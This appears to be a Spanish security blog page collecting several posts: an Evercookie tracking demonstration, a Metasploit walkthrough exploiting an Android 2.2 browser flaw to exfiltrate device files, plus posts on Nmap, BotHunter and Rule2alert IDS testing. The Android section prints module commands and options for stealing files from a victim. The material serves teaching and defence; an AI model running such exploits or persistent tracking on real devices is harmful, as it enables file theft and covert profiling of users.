En el transcurso del año 2010 han visto la luz nuevas técnicas de ataque a aplicaciones Web. Entre todas ellas vamos a hablar del API javascript “Evercookie” creado por Samy Kamkar. Lo que Samy intenta demostrar con la creación de este API es la posibilidad de hacer que las cookies sean persistentes pese a que un usuario intente borrarlas. Para hacerlo se utilizan diferentes mecanismos que permiten almacenar la información en el lado del cliente, como HTML5 local storage, HTTP Etags, LSO Flash cookies, etcétera; todas los mecanismos y sus respectivos enlaces los podéis encontrar en la página de Evercookie.

Una vez nos descargamos el API, este pone a nuestra disposición un ejemplo de página que lo utiliza. En esta entrada vamos a comprobar cómo evercookie hace persistente las cookies usando la página de ejemplo.

Antes del acceso vemos en nuestro navegador —en este caso Firefox 3— que no disponemos de ninguna cookie:

Acto seguido accedemos a la página de ejemplo:

Una vez dentro se crea una cookie de nombre uid. Esta cookie es persistente —o eso dice el autor— ya que ha sido generada con Evercookie. Para este caso vemos como ha fijado el uid=620.

Por el momento nada extraordinario y el comportamiento es el habitual; o eso creemos, ¿no? Ahora vamos a eliminar toda la información mediante los mecanismos que ofrece Firefox (Clear Private Data Now):

Acto seguido accedemos a las cookies como hemos hecho antes y vemos que está todo borrado, no hemos dejado ni huella…. ¿seguro?. Cuando volvemos a acceder a la página, vemos como es capaz de recuperar el uid -en nuestro ejemplo el 620- que había generado la primera vez que accedimos; por lo que siempre que accedamos a la página web desde nuestro equipo ésta sabrá que somos el mismo usuario; es más, si dentro de nuestro navegador disponemos de varios perfiles, es capaz de recuperar la cookie, dado que por ejemplo la “cookie flash” está contenida en la carpeta Macromedia que queda fuera del alcance del perfil.

Una página Web que utilice estos mecanismos podría construirse un perfil asociado a un identificador de manera que podría proponernos ofertas, artículos, etc. que se ajusten a nuestras necesidades sin realmente habernos identificado en ningún lugar. Aparentemente estaríamos navegando de manera anónima pero no sería así, ya que la aplicación puede crear un perfil nuestro gracias a esta técnica.

Otro de los aspectos interesantes de esta técnica es lo que se denomina como “cross-browser”, donde la cookie es persistente y compartida por los diferentes navegadores. Se ha podido comprobar durante las pruebas realizadas que al crear una cookie persistente en Mozilla Firefox con evercookie y acceder después con Google Chrome, éste visualiza la cookie que se había creado en Firefox.

Un gran API, una gran técnica. Por tanto es normal que haya sigo la segunda más votada en el “Top Ten Web Hacking Techniques of 2010” del blog de Jeremiah Grossman.

Hace unas semanas fue publicada una vulnerabilidad en el navegador Web de Android 2.2 que permite robar ficheros del terminal descubierta por Thomas Cannon. Como ya se ha comentado en muchas predicciones realizadas a finales del año 2010, este año 2011 los dispositivos móviles van a dar que hablar y parece que no se están haciendo esperar.

En esta entrada vamos a mostrar los resultados de nuestras pruebas intentando aprovechar la vulnerabilidad sobre un dispositivo con Android 2.2 (en este caso el simulador de Android) con el módulo de metasploit “android_htmlfileprovider” hecho por “jduck”. Se pretende mostrar cómo con el módulo de metasploit es sencillo conseguir explotar la vulnerabilidad.

$ msfconsole
$ use gather/android_htmlfileprovider
$ info
Basic options:
  Name        Current Setting             Required  Description
  ----        ---------------             --------  -----------
  FILES       /proc/version,              no        The remote file(s) to steal
              /proc/self/status,
              /data/system/packages.list  
  SRVHOST     0.0.0.0                     yes       The local host to listen on.
  SRVPORT     8080                        yes       The local port to listen on.
  SSL         false                       no        Negotiate SSL for incoming connections
  SSLVersion  SSL3                        no        Specify the version of SSL that should be used 
                                                                       (accepted: SSL2, SSL3, TLS1)
  URIPATH                                 no        The URI to use for this exploit (default is random)
Description:
  This module exploits a cross-domain issue within the Android web
  browser to exfiltrate files from a vulnerable device.
$ set URIPATH payload.html
$ run

Esta secuencia de comandos levantará un servidor web en el puerto 8080 (debemos asegurarnos que no disponemos en la máquina de un servicio a la escucha en este puerto). Hemos cambiado el URIPATH para que no sea aleatorio y desde nuestro dispositivo con Android 2.2 sea más sencilla la escritura de la URI. Una vez arrancado con el comando “run” ya tendremos preparado el entorno para que una víctima visite nuestra web y podamos sacarle información.

Para hacer las pruebas vamos a probar con el emulador para Android y vamos utilizar la versión 2.2 de SDK.

Con el entorno preparado accedemos a la URL “http://192.168.1.135:8080/payload.html/q” desde el dispositivo; éste de forma automática comienza a descargar un archivo “.htm” sin autorización previa y en la ventana de la metasploit obtenemos una información muy interesante sobre nuestro dispositivo víctima:

Como habéis podido ver, crear una pequeña prueba de concepto ha sido rápido y hemos podido mostrar cómo el riesgo está ahí. Ahora cada uno debe reflexionar: ¿qué documentos guardo en dispositivo móvil? ¿estos documentos son confidenciales? ¿he puesto alguna medida de seguridad para evitar cosas como esta?

Hace cosa de un mes jugando con Nmap en un entorno de pruebas me topé con un detalle “curioso” que paso a contaros. Para que os situéis, el equipo sobre el que estaba haciendo las pruebas era un equipo con Windows XP SP3 con una máquina virtual con Debian GNU/Linux desde la se realizaban las pruebas (configuración no apta para escaneos).

Entre las diferentes pruebas me encuentro con algo inesperad: el puerto 21/tcp —puerto por defecto del servicio FTP— estaba abierto en uno de los equipos víctima de mis escaneos. Era un equipo que ni mucho menos tenía controlado que ahí pudiera estar ese servicio abierto. Reviso el equipo y al ver que no hay nada a la escucha, lanzo el escaneo sobre otro activo de la misma subred desde el mismo equipo origen. Mi sorpresa fue que tanto si hacía un nmap desde el equipo virtual, como si hacía un Telnet desde el equipo anfitrión con destino el puerto 21/tcp sobre diferentes destinos, daba la sensación de que había un servicio a la escucha en todos los destinos. ¿Suena raro, verdad? (por lo menos a un servidor le resultó raro). Ante este comportamiento se me ocurre escoger una dirección IP que no perteneciera al rango de direcciones de mi red local (IP elegida: 192.168.111.11) y lanzar el comando Telnet al puerto 21/tcp. El resultado era el siguiente:

[Read more…]

BotHunter es un sistema de detección de malware a través del tráfico de red creado por Computer Science Laboratory, SRI International. Si uno accede a la página web oficial del proyecto observará la siguiente descripción:

Hemos destacado dos aspectos de la descripción: por un lado que se compara el tráfico contra un modelo abstracto de patrones de comunicación de malware y por otro la afirmación de que es excepcionalmente efectivo. Uno con esta descripción tan sugerente no le queda otra que ver en qué consiste este modelo y qué lo puede hacer tan efectivo. Durante esta entrada vamos a revisar el paper de SRI, donde se comenta la arquitectura, la lógica y diversos componentes de gran interés.

[Read more…]

Los sistemas de detección de intrusos (IDS) son sistemas que requieren un ajuste adecuado para evitar falsos positivos, falsos negativos, alertas repetitivas que colapsan la consola de operación etc. Cuando se decide implantar un IDS, como parte del proceso de implantación, se requiere haber diseñado una batería de pruebas para comprobar que lo implantado reacciona adecuadamente y poder tener una cierta garantía (garantía total es imposible debido a la heterogeneidad del tráfico que circula por las redes) de poseer un ajuste fino y con buen rendimiento. En esta entrada vamos a hablar de la herramienta Rule2alert [1], que nos ayudará a crear una batería de pruebas propia, con el fin de realizar el mejor ajuste posible de nuestros IDS.

Rule2alert, como se puede leer en la página oficial del proyecto, [1] toma como entrada reglas de Snort y genera tráfico de red a partir de ellas, pudiéndolo volcar a un fichero con formato pcap. Rule2alert es una herramienta que se basa en otra herramienta llamada Scapy[2], en la cual destaca su potencia para la manipulación de paquetes de red.

Vista la descripción, vamos a hacer una pequeña prueba a ver que tal se comporta la herramienta. Cabe mencionar que hemos realizado las pruebas sobre un sistema GNU/Linux Debian Testing.

Lo primero, descargamos la aplicación de una manera rápida (no hemos encontrado un tar.gz/zip disponible a la fecha de escritura de esta entrada) mediante wget:

Una vez descargada, dentro del directorio “rule2alert.googlecode.com/svn/trunk” dispondremos de la aplicación r2a.py. Para comprobar que tenemos todas las dependencias (comentar que con la versión 2.5.2 de Python no nos funcionaba correctamente, en cambio, con la versión 2.6 no hay problema) y las versiones adecuadas, ejecutamos:

Para hacer las pruebas construimos un fichero test.rule con la siguiente regla:

En este instante, disponemos un fichero pcap de nombre test.pcap que, al abrirlo con Wireshark, podremos ver como ha generado el fichero:

Por lo que hemos podido comprobar, con Rule2alert generamos tráfico que va a encajar en nuestro IDS y debe generar una alerta, por lo que podemos realizar pruebas sobre nuestra configuración. Para probar este tráfico sobre el IDS, la manera más sencilla y rápida sería como nos indican en el propio Wiki de la herramienta:

A continuación, planteamos dos posibles ejemplos de pruebas (de los trillones de posibilidades) a realizar con la herramienta:

• Una primera prueba sería inyectar “n” alertas iguales sobre nuestro IDS, de manera que probemos los umbrales de nuestras reglas (threshold, etc.). Si se da el caso de que disponemos de un correlador que recoge nuestras alertas del IDS, con esta prueba podemos comprobar que las reglas de correlación están haciendo su trabajo; resolviendo incógnitas como “¿agregará bien las alertas?”, “¿dispara un evento de criticidad superior?”, “¿me envía el correo y además un SMS?, etc.
• Como bien sabéis, existen ocasiones en las que es necesario establecer filtros para determinado tipo de tráfico de red, debido a falsos positivos donde el tráfico es totalmente legítimo. En este caso puede ser interesante, para comprobar que no nos hemos pasado filtrando, lanzar una prueba con un paquete que sabemos que debe saltar alerta y otra donde no tendría que saltar. Siempre es mejor prevenir que curar :).

Queda claro que cualquier aspecto de la configuración de Snort es posible contrastarlo con Rule2alert, de manera que podamos afinar un poco más nuestra configuración. Esperamos que les resulte de utilidad la herramienta :).

[1] http://code.google.com/p/rule2alert/
[2] http://www.secdev.org/projects/scapy/

Ayer, como muchos otros días, iniciaba mi día laboral viajando en mi transporte público favorito: el metro, el cual me permite divagar, pensar, y reflexionar mientras viajo. O algo parecido. El caso es que observé que en el espacio que separa los vagones del metro hay un cartel que prohíbe quedarse detenido en ese espacio por cuestiones de seguridad, alertando de un riesgo si te detienes en ese lugar. Acto seguido me fijé y ví que por lo que parece éste es un sitio habitual de estacionamiento para los viajeros, y que incluso muchos de ellos se apoyan en las gomas que son usadas como interconexión de los vagones; que todo sea dicho, parecen bastante apetecibles y cómodas, y más a primera hora de la mañana (se asemejan a una colchoneta típica con la que uno va a la playa). Este problema es un tema relacionado con la responsabilidad de cada viajero, para lo cual sería necesaria una concienciación mayor de los pasajeros acerca del cumplimiento de las normas y la señalización. Pero, ¿es suficiente con poner ese cartel, o por el contrario es necesario tomar más medidas más restrictivas?

Por poner un ejemplo de una situación en la que no es suficiente con que haya un cartel que prohibe una acción, ¿cuánta gente no respeta la señal de prohibición en autopistas de circular como máximo a 120 km/h? A causa de ello se han tomado una serie de medidas (multas, sanciones penales, etc.) para concienciar al conductor de que debe respetar las normas de circulación, dado que las consecuencias en este caso son fatales. Todas estas situaciones, que reflejan cómo es el comportamiento natural de nuestra sociedad, pueden ser trasladadas al campo de la informática: en la gran mayoría de ocasiones no es suficiente únicamente con advertir del peligro al usuario sino que es necesario tomar las medidas pertinentes. Por lo tanto, en última instancia uno se debe plantear, como en el caso del cartel del metro, si es suficiente con la presencia de éste ó por el contrario deben establecerse medidas para que el cumplimiento sea efectivo.

La conclusión que obtuve de esta pequeña reflexión es que esta sociedad necesita madurar, dado que si ni cuando las consecuencias pueden ser fatales se respetan las normas, ¿por qué se van a respetar en el caso de que no lo sean? Y aplicando esto a nuestro campo, un profesional de la seguridad informática deberá siempre tener en cuenta que cualquier medida restrictiva y preventiva nunca estará de más. Les invito finalmente a realizar el siguiente ejercicio, párense durante 5 minutos (no más) y piensen: ¿cuántas normas/restricciones/reglas no cumplimos o nos saltamos a veces en nuestra vida cotidiana? Cada uno que obtenga sus propias conclusiones ;).